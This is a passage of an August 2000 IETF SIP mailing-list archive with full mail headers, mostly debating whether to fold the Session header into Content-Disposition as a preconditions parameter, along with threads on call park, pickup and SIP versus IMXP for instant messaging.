Patrik _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 11:08:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14672 for ; Wed, 2 Aug 2000 11:08:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8097944395; Wed, 2 Aug 2000 11:08:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 460D144338 for ; Wed, 2 Aug 2000 11:08:13 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA24836; Wed, 2 Aug 2000 08:08:29 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC23557; Wed, 2 Aug 2000 08:08:10 -0700 (PDT) Message-Id: <4.1.20000802075240.00b77560@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 02 Aug 2000 08:11:13 +0200 To: Jonathan Rosenberg From: Rohan Mahy Subject: Re: [SIP] Session header Cc: sip@lists.bell-labs.com In-Reply-To: <39812305.C362D6B@dynamicsoft.com> References: <4.2.0.58.20000721113819.00d92a10@imop.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, Just wanted to clarify this, since you didn't include syntax, that the original contents of the Session header (qos, security, media) would become parameters to the session disposition? and you could add one or more of these session "purposes"? Example using manyfolks qos and security: 180 Ringing ... Content-type: application/sdp Content-disposition: session;qos;security;handling=required Content-Length: ... ... a=qos: mandatory sendrecv confirm a=security: optional sendrecv confirm Old Syntax: Content-Disposition = "Content-Disposition" ":" disposition-type *(";" disposition-parm) disposition-type = "render" | "session" | extension-token disposition-parm = handling-parm | parameter handling-parm = "handling" "=" ( "optional" | "required" | other-handling ) other-handling = token New Sytax: Content-Disposition = "Content-Disposition" ":" disposition-type *(";" disposition-parm) disposition-type = "render" | "session" | extension-token disposition-parm = handling-parm | session-parm | parameter handling-parm = "handling" "=" ( "optional" | "required" | other-handling ) other-handling = token session-parm = "qos" | "security" | "media" | token session-parm is only valid with the "session" disposition-type. Is this the idea? thanks, -rohan At 08:07 AM 7/28/00 , Jonathan Rosenberg wrote: >The authors of the 183 draft discussed this and we came to the following >conclusion: > >1. The Session header would be eliminated, rather its values would be >folded in as a parameter of the Content-Disposition header. >2. These parameters would be defined in the rfc2543bis draft. > >Since the header is optional, and since it is such a small thing and >related to Content-Disposition anyway, folding it into the bis draft >seemed best. > >Comments? > >-Jonathan R. > >Rohan Mahy wrote: >> >> Hi, >> >> The Session header was defined originally in the 183 draft. Now that the >> 183 has expired (?), the 183 response has moved into the bis draft, but the >> Session header has not. Can we still move the Session header into the bis >> draft? >> >> thanks, >> -rohan >> >> _______________________________________________ >> SIP mailing list >> SIP@lists.bell-labs.com >> http://lists.bell-labs.com/mailman/listinfo/sip > >-- >Jonathan D. Rosenberg 72 Eagle Rock Ave. >Chief Scientist First Floor >dynamicsoft East Hanover, NJ 07936 >jdrosen@dynamicsoft.com FAX: (973) 952-5050 >http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 >http://www.dynamicsoft.com > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 11:28:49 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22457 for ; Wed, 2 Aug 2000 11:28:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EAD10443BF; Wed, 2 Aug 2000 11:27:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 217D344338 for ; Wed, 2 Aug 2000 11:27:55 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA05029; Wed, 2 Aug 2000 08:28:09 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC23827; Wed, 2 Aug 2000 08:27:50 -0700 (PDT) Message-Id: <4.1.20000802081545.00b78b50@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 02 Aug 2000 08:17:39 +0200 To: Jonathan Rosenberg From: Rohan Mahy Subject: Re: [SIP] Call Park abd Call Pickup Cc: Jo Hornsby , Hong Chen , sip@lists.bell-labs.com In-Reply-To: <39839B70.4D5B4845@dynamicsoft.com> References: <39807F7B.868F8E02@cisco.com> <4.2.0.58.20000728102756.01bdb580@lint.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 05:05 AM 7/30/00 , Jonathan Rosenberg wrote: > > >Rohan Mahy wrote: >> >> Hi, >> >> I think Pickup was well described in a previous thread. If you wanted to >> do traditional Park things, I can think of 4 variations (with or without >> music, and with or without Revert) >> >> I think I am suggesting essentially the same thing as Jo did. You can read >> both and see if either make sense to you. >> >> A and B have an existing session. >> >> B sends a REFER to A, which redirects their session to >> >> >> >> the forwarding logic for "so-queue-me" would return a 182 call queued. If >> desired, music/announcements could be played using 183 with Session: media. >> To retrieve the call just REGISTER "park-12" with a short expires timer. > >How would B know which park address to use? The park address has to be >unique, and also has to >be something the person picking up would know to use. My suggestion - >instead of "12", you >would use the URL or address of the host which performed the park: > > > >This way, if I want to pick up a call parked by B, I know I would have >to try to register the address above. You could then define pickup >groups by authenticating REGISTER, and only allowing people to register >for park-foo if they are in a group allowed to pickup calls parked by >foo. Yes, I agree. That's also how I envision the feature working. I just used park-12, because I wanted to focus Hong on the call flows first. thanks, -r _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 12:36:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16835 for ; Wed, 2 Aug 2000 12:36:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 94C2144395; Wed, 2 Aug 2000 12:36:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 7537144338 for ; Wed, 2 Aug 2000 12:36:31 -0400 (EDT) Received: from ESCORT (wireless-133-62.ietf.marconi.com [147.73.133.62]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id MAA18488; Wed, 2 Aug 2000 12:38:03 -0400 (EDT) From: "Steve Donovan" To: "Rohan Mahy" , "Jonathan Rosenberg" Cc: Subject: RE: [SIP] Session header Date: Wed, 2 Aug 2000 11:34:54 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-Reply-To: <4.1.20000802075240.00b77560@imop.cisco.com> Importance: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rohan Mahy wrote: > > > Hi, > > Just wanted to clarify this, since you didn't include syntax, that the > original contents of the Session header (qos, security, media) > would become > parameters to the session disposition? and you could add one or more of > these session "purposes"? I'm not sure it is necessary to specify QoS and Security. The real need for the additional parameter in the content-disposition header (the old session header) is to indicate that the message body contains preconditions. The indication of preconditions tells the SIP state machine to delay alerting the user until the preconditions have been met. Specifying QoS and Security as reasons for the preconditions means that the protocol will need to be changed with other precondition reasons need to be added. In addition, QoS and Security would only need to be included in the header when the SDP strength-tag is mandatory. There is no value to the SIP state machine to know that there are QoS attributes in the SDP when the strength-tag is set to optional. > > Example using manyfolks qos and security: > > 180 Ringing > ... > Content-type: application/sdp > Content-disposition: session;qos;security;handling=required > Content-Length: ... > ... > a=qos: mandatory sendrecv confirm > a=security: optional sendrecv confirm > > Old Syntax: > > Content-Disposition = "Content-Disposition" ":" disposition-type *(";" > disposition-parm) > disposition-type = "render" | "session" | extension-token > disposition-parm = handling-parm | parameter > handling-parm = "handling" "=" ( "optional" | "required" | > other-handling ) > other-handling = token > > New Sytax: > > Content-Disposition = "Content-Disposition" ":" disposition-type *(";" > disposition-parm) > disposition-type = "render" | "session" | extension-token > disposition-parm = handling-parm | session-parm | parameter > handling-parm = "handling" "=" ( "optional" | "required" | > other-handling ) > other-handling = token > session-parm = "qos" | "security" | "media" | token > > session-parm is only valid with the "session" disposition-type. I would suggest a parameter that is something like: Content-Disposition = "Content-Disposition" ":" disposition-type *(";" disposition-parm) disposition-type = "render" | "session" | extension-token disposition-parm = handling-parm | session-parm | parameter handling-parm = "handling" "=" ( "optional" | "required" | other-handling ) other-handling = token session-parm = "preconditions" | "media" | token Where presence of the preconditions session-parm indicates that preconditions exist. Steve _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 12:56:22 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23157 for ; Wed, 2 Aug 2000 12:56:22 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4992344352; Wed, 2 Aug 2000 12:56:11 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 161CC44337 for ; Wed, 2 Aug 2000 12:56:08 -0400 (EDT) Received: from dynamicsoft.com (wireless-135-164.ietf.marconi.com [147.73.135.164]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id MAA18633; Wed, 2 Aug 2000 12:57:37 -0400 (EDT) Message-ID: <398853C8.6ED2AD45@dynamicsoft.com> Date: Wed, 02 Aug 2000 13:00:56 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Steve Donovan Cc: Rohan Mahy , sip@lists.bell-labs.com Subject: Re: [SIP] Session header References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Steve Donovan wrote: > > Rohan Mahy wrote: > > > > > > Hi, > > > > Just wanted to clarify this, since you didn't include syntax, that the > > original contents of the Session header (qos, security, media) > > would become > > parameters to the session disposition? and you could add one or more of > > these session "purposes"? > > I'm not sure it is necessary to specify QoS and Security. The real need for > the additional parameter in the content-disposition header (the old session > header) is to indicate that the message body contains preconditions. The > indication of preconditions tells the SIP state machine to delay alerting > the user until the preconditions have been met. Agreed. The purpose of the tag in the content-disposition header is to indicate when some aspect of the session described by the content impacts the operation of sip. As the operation does not depend on whether the precondition itself is qos or security, a single tag should suffice. In fact, perhaps we should call it "precondition"? -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 13:33:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05591 for ; Wed, 2 Aug 2000 13:33:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9A09244383; Wed, 2 Aug 2000 13:33:11 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id D86A344337 for ; Wed, 2 Aug 2000 13:33:07 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA04787; Wed, 2 Aug 2000 10:33:22 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC25782; Wed, 2 Aug 2000 10:33:02 -0700 (PDT) Message-Id: <4.1.20000802102743.00b7b4e0@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 02 Aug 2000 10:36:07 +0200 To: "Steve Donovan" , "Jonathan Rosenberg" From: Rohan Mahy Subject: RE: [SIP] Session header Cc: In-Reply-To: References: <4.1.20000802075240.00b77560@imop.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 06:34 PM 8/2/00 , Steve Donovan wrote: >Rohan Mahy wrote: >> >> >> Hi, >> >> Just wanted to clarify this, since you didn't include syntax, that the >> original contents of the Session header (qos, security, media) >> would become >> parameters to the session disposition? and you could add one or more of >> these session "purposes"? > >I'm not sure it is necessary to specify QoS and Security. The real need for >the additional parameter in the content-disposition header (the old session >header) is to indicate that the message body contains preconditions. The >indication of preconditions tells the SIP state machine to delay alerting >the user until the preconditions have been met. The old Session header could indicate if the session description was to be used for media, or for setting up qos or security. Perhaps we could have: disposition-type = "render" | "media" | "session-info" | extension-type media would correspond to ordinary or early media, and session-info or "precondition" would be a session used for setting up qos, security, nat traversal, punching holes in firewalls, etc... the only problem is that there a few valid scenarios where you might want to use a session description for both early media and qos. >Specifying QoS and Security as reasons for the preconditions means that the >protocol will need to be changed with other precondition reasons need to be >added. that's the way manyfolks is defined now. >In addition, QoS and Security would only need to be included in the header >when the SDP strength-tag is mandatory. There is no value to the SIP state >machine to know that there are QoS attributes in the SDP when the >strength-tag is set to optional. agreed. thanks, -rohan >> >> Example using manyfolks qos and security: >> >> 180 Ringing >> ... >> Content-type: application/sdp >> Content-disposition: session;qos;security;handling=required >> Content-Length: ... >> ... >> a=qos: mandatory sendrecv confirm >> a=security: optional sendrecv confirm >> >> Old Syntax: >> >> Content-Disposition = "Content-Disposition" ":" disposition-type *(";" >> disposition-parm) >> disposition-type = "render" | "session" | extension-token >> disposition-parm = handling-parm | parameter >> handling-parm = "handling" "=" ( "optional" | "required" | >> other-handling ) >> other-handling = token >> >> New Sytax: >> >> Content-Disposition = "Content-Disposition" ":" disposition-type *(";" >> disposition-parm) >> disposition-type = "render" | "session" | extension-token >> disposition-parm = handling-parm | session-parm | parameter >> handling-parm = "handling" "=" ( "optional" | "required" | >> other-handling ) >> other-handling = token >> session-parm = "qos" | "security" | "media" | token >> >> session-parm is only valid with the "session" disposition-type. > >I would suggest a parameter that is something like: > >Content-Disposition = "Content-Disposition" ":" disposition-type *(";" > disposition-parm) >disposition-type = "render" | "session" | extension-token >disposition-parm = handling-parm | session-parm | parameter >handling-parm = "handling" "=" ( "optional" | "required" | >other-handling ) >other-handling = token >session-parm = "preconditions" | "media" | token > >Where presence of the preconditions session-parm indicates that >preconditions exist. > >Steve > > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 14:26:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22514 for ; Wed, 2 Aug 2000 14:26:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6DD8B443C7; Wed, 2 Aug 2000 14:25:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from adsl-151-203-17-31.bellatlantic.net (wired-129-132.ietf.marconi.com [147.73.129.132]) by lists.bell-labs.com (Postfix) with ESMTP id BD4CC44337 for ; Wed, 2 Aug 2000 14:25:44 -0400 (EDT) Received: from localhost (scott.petrack@localhost) by adsl-151-203-17-31.bellatlantic.net (8.9.3/8.9.3) with ESMTP id OAA00992; Wed, 2 Aug 2000 14:39:42 -0400 X-Authentication-Warning: adsl-151-203-17-31.bellatlantic.net: scott.petrack owned process doing -bs Date: Wed, 2 Aug 2000 14:39:41 -0400 (EDT) From: Scott Petrack X-Sender: scott.petrack@adsl-151-203-17-31.bellatlantic.net To: impp@iastate.edu, SIP reflector Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [SIP] a proposal for a way to compromise? (really, not a joke) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com [The following is written in haste, because I discovered I have to take an early plane out of the IETF. I'm really sorry to miss the BOF tonight, but I'll certainly answer email questions:] I tried hard to do what Dave Crocker suggested, and thought about what the 'other side' is really after, and the fact is that once I put myself in this frame of mind, I came pretty quickly to a few ideas that point to a compromise. I know that this is considered impossible, and that many people are just waiting for the two weeks to pass so that the group can split in two, but I hope you'll give the following ideas a decent look-over. I'll state up front that I am guilty of two things: I am from the SIP side of the house, and I have not been as active on the list as I should have been. But I spoke to a few people yesterday, and I believe that the following is new input. If not, I apologize. First, Dave Crocker's exercise: what does each side bring to the table, beyond "take my protocol, please...." The really essential service that SIP offers is 'session initiation'. It was absoutely designed from the beginning as a way to HAND OFF to another protocol. SIP is only one piece in a puzzle that includes SDP (for describing voice/video sessions) and RTP (for transmitting realtime data). The original intent was that SIP would hand off to the actual media transport session as soon as possible (an RTP session in the case of realtime voice/video). In fact, basic SIP (without extensions) does a relatively poor job of managing or modifying sessions that already exist. The key thing to remember from all this is that SIP is crafted to allow the sort of "finding"/"signaling" and "hand off to another protocol". It is designed to do this under some very important and difficult conditions -- mainly when people and terminals are moving around, and when it's not clear at the beginning the people want to IM. What SIP is less designed to do is to pass around crazy types of text and non-text instant messages (although of course SIP can do *anything* ;-)) that have nothing to do with a later hand-off to a multimedia session. Now, on the other hand, my understanding is that the "messaging" people feel that the key elements of MIME and SMTP push are very important to them. In fact, my understanding is that the 'mobility rendez-vous parts' of IMXP are less established and tested yet than various nooks and crannies of the problems of getting a message reliably and quickly from A to B. I for one think it very reasonable to suppose that people who have been thinking about how to do messaging for many years are very good at their craft, and have thought a lot about the nooks and crannies of the different horrors that might occur when trying to transport "instantly" different types of "messages". Maybe they've even thought more than the SIP people have about this ;-). I'm particularly thinking about what will happen when the message is large (a big image or large HTML message, etc.) So my proposal for compromise is the following: use SIP for rendezvous and distributing presence -- find the other person/people, help decide that the *way* they want to communicate is via IM, and then HAND OFF to an IM protocol, one that is designed to be extensible to all kinds of instant messaging (large gifs, powerpoint presentations, shared browsing, whatever, etc.). If IMXP is a better "IM transfer protocol", then it's very reasonable to leave it to do just that, and have a user signal that he wants to IM you by having the SIP hand off to IM. I'm hoping (probably in vain) that what really offends the SIP people is doing finding/rendezvous in some other protocol than SIP, and that what really offends messaging people is using SIP to transfer messages. To be honest, this already happens in one very special kind of instant messaging -- people who are into telephone devices for the deaf (TDD) have defined an RTP format for realtime delivery of text. If you've ever seen a device like this, it is the original "instant messaging device". It enables people who could not otherwise use a phone to communicate over the phone. And in the SIP version of this service, SIP is used to 'set up' the call, but soon enough the call is handed off to RTP, using the special RTP format for these kinds of text messages. NO NO NO -- I'm not suggesting that we do instant messaging this way. I'm suggesting that this model -- where SIP rendez-vous and hands off to a different protocol -- is the core SIP model, and already is used for a very special kind of "instant messaging". SIP really does this "find/rendezvous/hand-off" piece very well, and it would be silly to reinvent it. At this point, I think that it's worth saying that the accusations about "SIP taking over the user" are really not true. There are many many things that one might want to do with a user which have nothing to do with communicating with her/him. I might want to configure the user's computer (if I'm the sysadmin), I might want to send mail to his telephone, whatever. SIP has indeed been designed for the particular issue of "I've got a user name, and I want to do realtime communication with him". SIP is not intended to 'own the user'. *That* is a directory problem, and SIP is NOT a directory service, nor was it ever intended to be one. As a final comment (I'm sure I'm gonna regret saying this), it does look as if IMXP is a less mature protocol, in the good old IETF sense of multiple interoperable implementations. (remember "running code". That was supposed to carry some weight). So for the really stupid requirement to send a short piece of text from one host to another, the MESSAGE method works just fine. This could be used as a stop gap while the more elaborate IMXP details are being worked out. There are many details still to be worked out in the SIP proposals for rendezvous and presence. But they really are details, and I'll bet that this work could be completed quickly, to be followed by completing the work on finishing details of IMXP for instant message delivery. Scott _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 14:46:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27717 for ; Wed, 2 Aug 2000 14:46:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DA558443E2; Wed, 2 Aug 2000 14:45:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 52E2944337 for ; Wed, 2 Aug 2000 14:45:11 -0400 (EDT) Received: from SUPERBEE (wireless-132-103.ietf.marconi.com [147.73.132.103]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id OAA19784; Wed, 2 Aug 2000 14:46:43 -0400 (EDT) From: "Ben Campbell" To: , Date: Wed, 2 Aug 2000 13:43:48 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Subject: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I have a general comment on the "Networked Appliances" draft. It seems to me that SIP is not an appropriate protocol for this purpose. It falls into the category of using SIP for an RPC mechanism. It is not clear to me how the primary features that distinguish SIP from something like HTTP (finding location, mobility, etc) are needed for a networked appliance protocol. It is entirely possible I am missing something here. If so, please enlighten me. Thanks! Ben Campbell dynamicsoft _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 15:00:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03963 for ; Wed, 2 Aug 2000 15:00:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4BE14443EC; Wed, 2 Aug 2000 15:00:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id B8E1144337 for ; Wed, 2 Aug 2000 15:00:16 -0400 (EDT) Received: from ESCORT (wireless-133-62.ietf.marconi.com [147.73.133.62]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id PAA19975; Wed, 2 Aug 2000 15:01:47 -0400 (EDT) From: "Steve Donovan" To: "Rohan Mahy" , "Jonathan Rosenberg" Cc: Subject: RE: [SIP] Session header Date: Wed, 2 Aug 2000 13:58:36 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-reply-to: <4.1.20000802102743.00b7b4e0@imop.cisco.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rohan Mahy wrote: > > At 06:34 PM 8/2/00 , Steve Donovan wrote: > >Rohan Mahy wrote: > >> > >> > >> Hi, > >> > >> Just wanted to clarify this, since you didn't include syntax, that the > >> original contents of the Session header (qos, security, media) > >> would become > >> parameters to the session disposition? and you could add one > or more of > >> these session "purposes"? > > > >I'm not sure it is necessary to specify QoS and Security. The > real need for > >the additional parameter in the content-disposition header (the > old session > >header) is to indicate that the message body contains preconditions. The > >indication of preconditions tells the SIP state machine to delay alerting > >the user until the preconditions have been met. > > The old Session header could indicate if the session description was to be > used for media, or for setting up qos or security. Perhaps we could have: > > disposition-type = "render" | "media" | "session-info" | extension-type > > media would correspond to ordinary or early media, and session-info or > "precondition" would be a session used for setting up qos, security, nat > traversal, punching holes in firewalls, etc... > > the only problem is that there a few valid scenarios where you might want > to use a session description for both early media and qos. I was trying to avoid coping the contents of the SDP body into the SIP headers. Why does the SIP UA need to know that there are QoS, security or other precondition information in the header? > > >Specifying QoS and Security as reasons for the preconditions > means that the > >protocol will need to be changed with other precondition reasons > need to be > >added. > > that's the way manyfolks is defined now. The manyfolks draft defines it in the SDP, which is appropriate. I don't think it talks about the SIP Session header. I'm arguing that the SIP layer does not need to know about QoS or Security, only that preconditions exist. > > >In addition, QoS and Security would only need to be included in > the header > >when the SDP strength-tag is mandatory. There is no value to > the SIP state > >machine to know that there are QoS attributes in the SDP when the > >strength-tag is set to optional. > > agreed. > > thanks, > -rohan > > > >> > >> Example using manyfolks qos and security: > >> > >> 180 Ringing > >> ... > >> Content-type: application/sdp > >> Content-disposition: session;qos;security;handling=required > >> Content-Length: ... > >> ... > >> a=qos: mandatory sendrecv confirm > >> a=security: optional sendrecv confirm > >> > >> Old Syntax: > >> > >> Content-Disposition = "Content-Disposition" ":" disposition-type *(";" > >> disposition-parm) > >> disposition-type = "render" | "session" | extension-token > >> disposition-parm = handling-parm | parameter > >> handling-parm = "handling" "=" ( "optional" | "required" | > >> other-handling ) > >> other-handling = token > >> > >> New Sytax: > >> > >> Content-Disposition = "Content-Disposition" ":" disposition-type *(";" > >> disposition-parm) > >> disposition-type = "render" | "session" | extension-token > >> disposition-parm = handling-parm | session-parm | parameter > >> handling-parm = "handling" "=" ( "optional" | "required" | > >> other-handling ) > >> other-handling = token > >> session-parm = "qos" | "security" | "media" | token > >> > >> session-parm is only valid with the "session" disposition-type. > > > >I would suggest a parameter that is something like: > > > >Content-Disposition = "Content-Disposition" ":" disposition-type *(";" > > disposition-parm) > >disposition-type = "render" | "session" | extension-token > >disposition-parm = handling-parm | session-parm | parameter > >handling-parm = "handling" "=" ( "optional" | "required" | > >other-handling ) > >other-handling = token > >session-parm = "preconditions" | "media" | token > > > >Where presence of the preconditions session-parm indicates that > >preconditions exist. > > > >Steve > > > > > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 15:04:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05809 for ; Wed, 2 Aug 2000 15:04:31 -0400 (EDT) Received: from 